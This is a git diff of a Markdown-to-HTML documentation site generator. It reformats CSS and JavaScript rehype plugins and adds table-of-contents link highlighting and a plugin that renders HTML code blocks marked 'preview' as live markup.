||||
top: 100%;
|
||||
left: 50%;
|
||||
@ -815,17 +983,34 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
}
|
||||
|
||||
/* 代码高亮 Start */
|
||||
.token.comment, .token.prolog, .token.doctype, .token.cdata {
|
||||
.token.comment,
|
||||
.token.prolog,
|
||||
.token.doctype,
|
||||
.token.cdata {
|
||||
color: var(--color-prettylights-syntax-comment);
|
||||
}
|
||||
.token.namespace { opacity: 0.7; }
|
||||
.token.tag, .token.selector, .token.constant, .token.symbol, .token.deleted {
|
||||
.token.namespace {
|
||||
opacity: 0.7;
|
||||
}
|
||||
.token.tag,
|
||||
.token.selector,
|
||||
.token.constant,
|
||||
.token.symbol,
|
||||
.token.deleted {
|
||||
color: var(--color-prettylights-syntax-entity-tag);
|
||||
}
|
||||
.token.maybe-class-name {
|
||||
color: var(--color-prettylights-syntax-entity);
|
||||
}
|
||||
.token.property-access, .token.operator, .token.boolean, .token.number, .token.selector .token.class, .token.attr-name, .token.string, .token.char, .token.builtin {
|
||||
.token.property-access,
|
||||
.token.operator,
|
||||
.token.boolean,
|
||||
.token.number,
|
||||
.token.selector .token.class,
|
||||
.token.attr-name,
|
||||
.token.string,
|
||||
.token.char,
|
||||
.token.builtin {
|
||||
color: var(--color-prettylights-syntax-constant);
|
||||
}
|
||||
.token.deleted {
|
||||
@ -850,13 +1035,23 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
.token.variable {
|
||||
color: var(--color-prettylights-syntax-constant);
|
||||
}
|
||||
.token.entity, .token.url, .language-css .token.string, .style .token.string {
|
||||
.token.entity,
|
||||
.token.url,
|
||||
.language-css .token.string,
|
||||
.style .token.string {
|
||||
color: var(--color-prettylights-syntax-string);
|
||||
}
|
||||
.token.color, .token.atrule, .token.attr-value, .token.function, .token.class-name {
|
||||
.token.color,
|
||||
.token.atrule,
|
||||
.token.attr-value,
|
||||
.token.function,
|
||||
.token.class-name {
|
||||
color: var(--color-prettylights-syntax-string);
|
||||
}
|
||||
.token.rule, .token.regex, .token.important, .token.keyword {
|
||||
.token.rule,
|
||||
.token.regex,
|
||||
.token.important,
|
||||
.token.keyword {
|
||||
color: var(--color-prettylights-syntax-keyword);
|
||||
}
|
||||
.token.module {
|
||||
@ -881,9 +1076,16 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
color: var(--color-prettylights-syntax-variable);
|
||||
}
|
||||
|
||||
.token.important, .token.bold { font-weight: bold; }
|
||||
.token.italic { font-style: italic; }
|
||||
.token.entity { cursor: help; }
|
||||
.token.important,
|
||||
.token.bold {
|
||||
font-weight: bold;
|
||||
}
|
||||
.token.italic {
|
||||
font-style: italic;
|
||||
}
|
||||
.token.entity {
|
||||
cursor: help;
|
||||
}
|
||||
|
||||
.highlight-line {
|
||||
background-color: var(--color-neutral-muted);
|
||||
@ -923,7 +1125,8 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
.header-nav .max-container {
|
||||
padding-top: 0.85rem;
|
||||
}
|
||||
.header-nav .menu a, .header-nav .menu button {
|
||||
.header-nav .menu a,
|
||||
.header-nav .menu button {
|
||||
padding: 0.2rem 0.3rem;
|
||||
}
|
||||
.wrap-header.h1wrap > h1 {
|
||||
@ -959,23 +1162,25 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
.footer-wrap {
|
||||
font-size: 0.75rem;
|
||||
}
|
||||
table {
|
||||
table.auto-wrap {
|
||||
overflow: auto;
|
||||
display: block;
|
||||
}
|
||||
table td, table th {
|
||||
table.auto-wrap thead {
|
||||
display: none;
|
||||
}
|
||||
table.auto-wrap td,
|
||||
table.auto-wrap th {
|
||||
display: block;
|
||||
text-align: left !important;
|
||||
}
|
||||
table td + td, table th + th {
|
||||
table td + td,
|
||||
table th + th {
|
||||
padding-top: 0 !important;
|
||||
}
|
||||
table td:first-child {
|
||||
white-space: initial;
|
||||
}
|
||||
.wrap-header.h3wrap > .wrap-body {
|
||||
overflow: initial;
|
||||
}
|
||||
.tooltip:hover .tooltiptext {
|
||||
display: inline-block;
|
||||
}
|
||||
@ -983,6 +1188,6 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
|
||||
@media (min-width: 768px) {
|
||||
.home-card {
|
||||
grid-template-columns: repeat(4,minmax(0,1fr));
|
||||
grid-template-columns: repeat(4, minmax(0, 1fr));
|
||||
}
|
||||
}
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
|
||||
const scripts = `
|
||||
if(('onhashchange' in window) && ((typeof document.documentMode==='undefined') || document.documentMode==8)) {
|
||||
window.onhashchange = function () {
|
||||
anchorPoint()
|
||||
updateAnchor()
|
||||
};
|
||||
}
|
||||
function anchorPoint() {
|
||||
@ -16,15 +16,37 @@ function anchorPoint() {
|
||||
}
|
||||
}
|
||||
anchorPoint();
|
||||
|
||||
function updateAnchor(element) {
|
||||
const anchorContainer = document.querySelectorAll('.menu-tocs .menu-modal a.tocs-link');
|
||||
anchorContainer.forEach((tocanchor) => {
|
||||
tocanchor.classList.remove('is-active-link');
|
||||
});
|
||||
const anchor = element || document.querySelector(\`a.tocs-link[href='\${decodeURIComponent(window.location.hash)}']\`);
|
||||
console.log('anchor', anchor)
|
||||
if (anchor) {
|
||||
anchor.classList.add('is-active-link');
|
||||
}
|
||||
}
|
||||
// toc 定位
|
||||
updateAnchor()
|
||||
const anchor = document.querySelectorAll('.menu-tocs .menu-modal a.tocs-link');
|
||||
anchor.forEach((item) => {
|
||||
item.addEventListener('click', (e) => {
|
||||
updateAnchor()
|
||||
})
|
||||
})
|
||||
`;
|
||||
|
||||
export function anchorPoint() {
|
||||
return {
|
||||
type: 'element',
|
||||
tagName: 'script',
|
||||
children: [{
|
||||
type: 'text',
|
||||
value: scripts,
|
||||
}]
|
||||
}
|
||||
}
|
||||
children: [
|
||||
{
|
||||
type: 'text',
|
||||
value: scripts,
|
||||
},
|
||||
],
|
||||
};
|
||||
}
|
||||
|
||||
@ -1,4 +1,3 @@
|
||||
|
||||
export function getChilds(data = [], level, result = []) {
|
||||
for (let i = 1; i <= data.length; i++) {
|
||||
const titleNum = Number(data[i]?.tagName?.replace(/^h/, ''));
|
||||
|
||||
@ -21,27 +21,27 @@ const ICONS_PATH = path.resolve(process.cwd(), 'scripts/assets');
|
||||
export function darkMode() {
|
||||
const iconSunPath = path.resolve(ICONS_PATH, `sun.svg`);
|
||||
const iconMoonPath = path.resolve(ICONS_PATH, `moon.svg`);
|
||||
const sunNode = getSVGNode(iconSunPath)
|
||||
const moonNode = getSVGNode(iconMoonPath)
|
||||
const sunNode = getSVGNode(iconSunPath);
|
||||
const moonNode = getSVGNode(iconMoonPath);
|
||||
return [
|
||||
{
|
||||
type: 'element',
|
||||
tagName: 'button',
|
||||
properties: {
|
||||
id: 'darkMode',
|
||||
type: 'button'
|
||||
type: 'button',
|
||||
},
|
||||
children: [
|
||||
...sunNode,
|
||||
...moonNode
|
||||
]
|
||||
}, {
|
||||
children: [...sunNode, ...moonNode],
|
||||
},
|
||||
{
|
||||
type: 'element',
|
||||
tagName: 'script',
|
||||
children: [{
|
||||
type: 'text',
|
||||
value: scripts,
|
||||
}]
|
||||
}
|
||||
children: [
|
||||
{
|
||||
type: 'text',
|
||||
value: scripts,
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
}
|
||||
|
||||
@ -1,13 +1,24 @@
|
||||
import fs from 'fs-extra';
|
||||
import path from 'path';
|
||||
import rehypeParse from 'rehype-parse';
|
||||
import {unified} from 'unified';
|
||||
import { unified } from 'unified';
|
||||
import { VFile } from 'vfile';
|
||||
|
||||
export function getSVGNode(iconPath) {
|
||||
export const ICONS_PATH = path.resolve(process.cwd(), 'scripts/assets');
|
||||
|
||||
export function getSVGNode(iconPath, space = 'svg') {
|
||||
const svgStr = fs.readFileSync(iconPath);
|
||||
const processor = unified().use(rehypeParse,{ fragment: true, space: "svg" })
|
||||
const processor = unified().use(rehypeParse, { fragment: true, space });
|
||||
const file = new VFile();
|
||||
file.value = svgStr.toString();
|
||||
const hastNode = processor.runSync(processor.parse(file), file);
|
||||
return hastNode.children || []
|
||||
}
|
||||
return hastNode.children || [];
|
||||
}
|
||||
|
||||
export function getVNode(str = '', space = 'html') {
|
||||
const processor = unified().use(rehypeParse, { fragment: true, space });
|
||||
const file = new VFile();
|
||||
file.value = str.toString();
|
||||
const hastNode = processor.runSync(processor.parse(file), file);
|
||||
return hastNode.children || [];
|
||||
}
|
||||
|
||||
@ -1,10 +1,75 @@
|
||||
import path from 'path';
|
||||
import { getCodeString } from 'rehype-rewrite';
|
||||
import { panelAddNumber } from './panelAddNumber.mjs';
|
||||
import { getChilds, getHeader } from './childs.mjs';
|
||||
import { ICONS_PATH, getSVGNode } from './getSVGNode.mjs';
|
||||
|
||||
export const titleNum = (tagName = '') => Number(tagName.replace(/^h/, ''));
|
||||
|
||||
export function getTocsTitleNode(arr = [], result = []) {
|
||||
arr.forEach(({ tagName, type, properties, children }) => {
|
||||
if (/^h[23456]/.test(tagName)) {
|
||||
const num = titleNum(tagName);
|
||||
const props = { 'aria-hidden': 'true', class: `leve${num} tocs-link`, href: '#' + (properties.id || '') };
|
||||
const title = getCodeString(children || []);
|
||||
result.push({ tagName: 'a', type, properties: props, children: [{ type: 'text', value: title || ' ' }] });
|
||||
} else if (children?.length > 0) {
|
||||
result = result.concat(getTocsTitleNode(children));
|
||||
}
|
||||
});
|
||||
return result;
|
||||
}
|
||||
|
||||
export function addTocsInWarp(tocsData = [], menuData, isDone = false) {
|
||||
const childs = tocsData.map((item) => {
|
||||
if (item.properties?.class?.includes('h1wrap-body')) {
|
||||
isDone = true;
|
||||
}
|
||||
if (!isDone && item.children) {
|
||||
item.children = addTocsInWarp([...item.children], menuData, isDone);
|
||||
}
|
||||
return item;
|
||||
});
|
||||
if (isDone) {
|
||||
childs.splice(1, 0, menuData);
|
||||
}
|
||||
return childs;
|
||||
}
|
||||
|
||||
export const getTocsTitleNodeWarpper = (children = []) => {
|
||||
const iconPath = path.resolve(ICONS_PATH, `menu.svg`);
|
||||
const svgNode = getSVGNode(iconPath);
|
||||
return {
|
||||
type: 'element',
|
||||
tagName: 'div',
|
||||
properties: {
|
||||
class: 'menu-tocs',
|
||||
},
|
||||
children: [
|
||||
{
|
||||
type: 'element',
|
||||
tagName: 'div',
|
||||
properties: {
|
||||
class: 'menu-btn',
|
||||
},
|
||||
children: [...svgNode],
|
||||
},
|
||||
{
|
||||
type: 'element',
|
||||
tagName: 'div',
|
||||
properties: {
|
||||
class: 'menu-modal',
|
||||
},
|
||||
children: children,
|
||||
},
|
||||
],
|
||||
};
|
||||
};
|
||||
|
||||
/** Markdown 文档转成树形结构 */
|
||||
export function getTocsTree(arr = [], result = []) {
|
||||
const data = panelAddNumber(arr);
|
||||
|
||||
|
||||
let n = 0;
|
||||
let level = -1;
|
||||
|
||||
@ -14,16 +79,14 @@ export function getTocsTree(arr = [], result = []) {
|
||||
if (level === -1) {
|
||||
level = toc.number;
|
||||
}
|
||||
const titleNum = Number(toc.tagName?.replace(/^h/, ''));
|
||||
|
||||
if (toc.number === level && titleNum === level) {
|
||||
if (toc.number === level && titleNum(toc.tagName) === level) {
|
||||
const header = getHeader(data.slice(n), level);
|
||||
const wrapCls = ['wrap'];
|
||||
const headerCls = ['wrap-header', `h${level}wrap`];
|
||||
|
||||
if (level === 1) wrapCls.push('max-container');
|
||||
const wrapStyle = toc.properties['wrap-style'];
|
||||
delete toc.properties['wrap-style']
|
||||
delete toc.properties['wrap-style'];
|
||||
const wrapClass = toc.properties['wrap-class'];
|
||||
if (wrapClass) wrapCls.push(wrapClass);
|
||||
delete toc.properties['wrap-class'];
|
||||
@ -42,26 +105,24 @@ export function getTocsTree(arr = [], result = []) {
|
||||
type: 'element',
|
||||
tagName: 'div',
|
||||
properties: { class: 'wrap-body' },
|
||||
children: [
|
||||
...header
|
||||
],
|
||||
}
|
||||
children: [...header],
|
||||
},
|
||||
],
|
||||
}
|
||||
},
|
||||
],
|
||||
}
|
||||
};
|
||||
const childs = getChilds([...data.slice(n + 1)], level);
|
||||
const resultChilds = getTocsTree(childs);
|
||||
if (resultChilds.length > 0) {
|
||||
const bodyStyle = toc.properties['body-style'];
|
||||
delete toc.properties['body-style']
|
||||
delete toc.properties['body-style'];
|
||||
const bodyClass = toc.properties['body-class'];
|
||||
delete toc.properties['body-class']
|
||||
delete toc.properties['body-class'];
|
||||
panle.children = panle.children.concat({
|
||||
type: 'element',
|
||||
tagName: 'div',
|
||||
properties: { class: [`h${level}wrap-body`, bodyClass], style: bodyStyle },
|
||||
children: [...resultChilds]
|
||||
children: [...resultChilds],
|
||||
});
|
||||
}
|
||||
result.push(panle);
|
||||
|
||||
@ -1,8 +1,6 @@
|
||||
import fs from 'fs-extra';
|
||||
import path from 'path';
|
||||
import { getSVGNode } from './getSVGNode.mjs';
|
||||
|
||||
export const ICONS_PATH = path.resolve(process.cwd(), 'scripts/assets')
|
||||
import { getSVGNode, ICONS_PATH } from './getSVGNode.mjs';
|
||||
|
||||
export function homeCardIcons(node, parent, isHome) {
|
||||
if (isHome && node && node.type === 'element' && node.properties?.class?.includes('home-card')) {
|
||||
@ -17,16 +15,16 @@ export function homeCardIcons(node, parent, isHome) {
|
||||
type: 'element',
|
||||
tagName: 'span',
|
||||
children: child.children,
|
||||
}
|
||||
};
|
||||
if (iconExist) {
|
||||
const svgNode = getSVGNode(iconPath);
|
||||
child.children = [ ...svgNode, labelNode ];
|
||||
child.children = [...svgNode, labelNode];
|
||||
} else {
|
||||
const svgNode = getSVGNode(iconDefaultPath);
|
||||
child.children = [ ...svgNode, labelNode ];
|
||||
child.children = [...svgNode, labelNode];
|
||||
}
|
||||
}
|
||||
return child
|
||||
})
|
||||
return child;
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -1,4 +1,3 @@
|
||||
|
||||
/** 标记 Number */
|
||||
export function panelAddNumber(arr = [], result = []) {
|
||||
let n = 0;
|
||||
@ -10,9 +9,9 @@ export function panelAddNumber(arr = [], result = []) {
|
||||
level = titleNum;
|
||||
}
|
||||
if (toc) {
|
||||
result.push({ ...toc, number: level })
|
||||
result.push({ ...toc, number: level });
|
||||
}
|
||||
n++;
|
||||
}
|
||||
return result
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
22
scripts/utils/rehypePreviewHTML.mjs
Normal file
22
scripts/utils/rehypePreviewHTML.mjs
Normal file
@ -0,0 +1,22 @@
|
||||
import { visit } from 'unist-util-visit';
|
||||
import { getCodeString } from 'rehype-rewrite';
|
||||
import { getVNode } from './getSVGNode.mjs';
|
||||
|
||||
export function rehypePreviewHTML() {
|
||||
return (tree) => {
|
||||
visit(tree, (node, index, parent) => {
|
||||
if (node.type === 'element' && node.tagName === 'pre') {
|
||||
const child = node.children[0];
|
||||
if (
|
||||
child.properties?.className?.includes('language-html') &&
|
||||
child?.tagName === 'code' &&
|
||||
child.data?.meta === 'preview'
|
||||
) {
|
||||
const code = getCodeString(child.children);
|
||||
const vnode = getVNode(code || '');
|
||||
node.children = vnode;
|
||||
}
|
||||
}
|
||||
});
|
||||
};
|
||||
}
|
||||
@ -1,7 +1,6 @@
|
||||
import fs from 'fs-extra';
|
||||
import path from 'path';
|
||||
import { getSVGNode } from './getSVGNode.mjs';
|
||||
import { ICONS_PATH } from './homeCardIcons.mjs';
|
||||
import { getSVGNode, ICONS_PATH } from './getSVGNode.mjs';
|
||||
|
||||
export function rehypeTitle(node, iconName) {
|
||||
if (node.type === 'element' && node.tagName === 'h1' && iconName !== 'index') {
|
||||
@ -10,10 +9,10 @@ export function rehypeTitle(node, iconName) {
|
||||
const iconExist = fs.existsSync(iconPath);
|
||||
if (iconExist) {
|
||||
const svgNode = getSVGNode(iconPath);
|
||||
node.children = [ ...svgNode, ...node.children ];
|
||||
node.children = [...svgNode, ...node.children];
|
||||
} else {
|
||||
const svgNode = getSVGNode(iconDefaultPath);
|
||||
node.children = [ ...svgNode, ...node.children ];
|
||||
node.children = [...svgNode, ...node.children];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -1,6 +1,11 @@
|
||||
export function rehypeUrls(node) {
|
||||
if (node.type === 'element' && node.properties?.href && /.md/.test(node.properties.href) && !/^(https?:\/\/)/.test(node.properties.href)) {
|
||||
if (
|
||||
node.type === 'element' &&
|
||||
node.properties?.href &&
|
||||
/.md/.test(node.properties.href) &&
|
||||
!/^(https?:\/\/)/.test(node.properties.href)
|
||||
) {
|
||||
let href = node.properties.href;
|
||||
node.properties.href = href.replace(/([^\.\/\\]+)\.(md|markdown)/gi, '$1.html');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -1,15 +1,15 @@
|
||||
/**
|
||||
* 配置 tooltips 注释
|
||||
*
|
||||
*
|
||||
* ```markdown
|
||||
* - [超链接有 tooltips 提示](#1xx-information) _Tooltips 展示内容_ <!--rehype:tooltips-->
|
||||
* ```
|
||||
*
|
||||
*
|
||||
* 上面示例：将 “Tooltips 展示内容” 放到 前一个 `<a>` dom 节点作为子节点
|
||||
*
|
||||
*
|
||||
* - 注释配置的，前一个节点 A，A 的前一个节点 B
|
||||
* - 如果 A 和 B 其中一个不存在 `tooltips` 将失效
|
||||
* - 设置 B 的类名称为 tooltips
|
||||
* - 设置 B 的类名称为 tooltips
|
||||
*/
|
||||
export function tooltips(node, index, parent) {
|
||||
if (node.type === 'comment' && parent?.children.length > 2) {
|
||||
@ -17,12 +17,12 @@ export function tooltips(node, index, parent) {
|
||||
const result = [];
|
||||
let recordPos = false; // 记录位置
|
||||
let tooltipNode = null;
|
||||
for(let i = childs.length; i > -1; i--) {
|
||||
for (let i = childs.length; i > -1; i--) {
|
||||
const node = childs[i];
|
||||
// 记录 tooltip 的开始位置
|
||||
if (node?.type === 'comment' && node?.value === 'rehype:tooltips') {
|
||||
recordPos = true;
|
||||
continue
|
||||
continue;
|
||||
}
|
||||
// 记录 tooltip 的 node
|
||||
if (recordPos && !tooltipNode) {
|
||||
@ -33,24 +33,24 @@ export function tooltips(node, index, parent) {
|
||||
tooltipNode = node;
|
||||
tooltipNode.properties['class'] = 'tooltiptext';
|
||||
delete tooltipNode.position;
|
||||
continue
|
||||
continue;
|
||||
}
|
||||
}
|
||||
// 将 tooltip 节点，插入到下一个 element 节点的子节点中
|
||||
if (tooltipNode) {
|
||||
if (node.type === 'comment' || (node.type === 'text' && !node?.value?.replace(/\s\n/g, ''))) {
|
||||
recordPos = false;
|
||||
tooltipNode = null
|
||||
tooltipNode = null;
|
||||
}
|
||||
if (tooltipNode && node?.type === 'element') {
|
||||
recordPos = false;
|
||||
node.properties['class'] = 'tooltip';
|
||||
node.children.push(tooltipNode);
|
||||
tooltipNode = null
|
||||
tooltipNode = null;
|
||||
}
|
||||
}
|
||||
if (!recordPos && node) {
|
||||
result.push(node)
|
||||
result.push(node);
|
||||
}
|
||||
}
|
||||
if (parent) {
|
||||
@ -59,6 +59,4 @@ export function tooltips(node, index, parent) {
|
||||
}
|
||||
}
|
||||
|
||||
export function getPreviewNode() {
|
||||
|
||||
}
|
||||
export function getPreviewNode() {}
|
||||
|
||||
@ -3,17 +3,18 @@ import chokidar from 'chokidar';
|
||||
import { getStat } from 'recursive-readdir-files';
|
||||
import { run, DOCS, createHTML } from './index.mjs';
|
||||
|
||||
;(async () => {
|
||||
(async () => {
|
||||
await run();
|
||||
const homeMdPath = path.relative(process.cwd(), 'README.md')
|
||||
const homeMdPath = path.relative(process.cwd(), 'README.md');
|
||||
const watcher = chokidar.watch([DOCS, homeMdPath], {
|
||||
ignored: /(^|[\/\\])\../, // ignore dotfiles
|
||||
persistent: true
|
||||
persistent: true,
|
||||
});
|
||||
|
||||
watcher.on('change', async (path) => {
|
||||
const stats = await getStat(path)
|
||||
createHTML([stats]);
|
||||
})
|
||||
.on('error', error => console.log(`Watcher error: ${error}`))
|
||||
})();
|
||||
watcher
|
||||
.on('change', async (path) => {
|
||||
const stats = await getStat(path);
|
||||
createHTML([stats]);
|
||||
})
|
||||
.on('error', (error) => console.log(`Watcher error: ${error}`));
|
||||
})();
|
||||
|
||||
Reference in New Issue
Block a user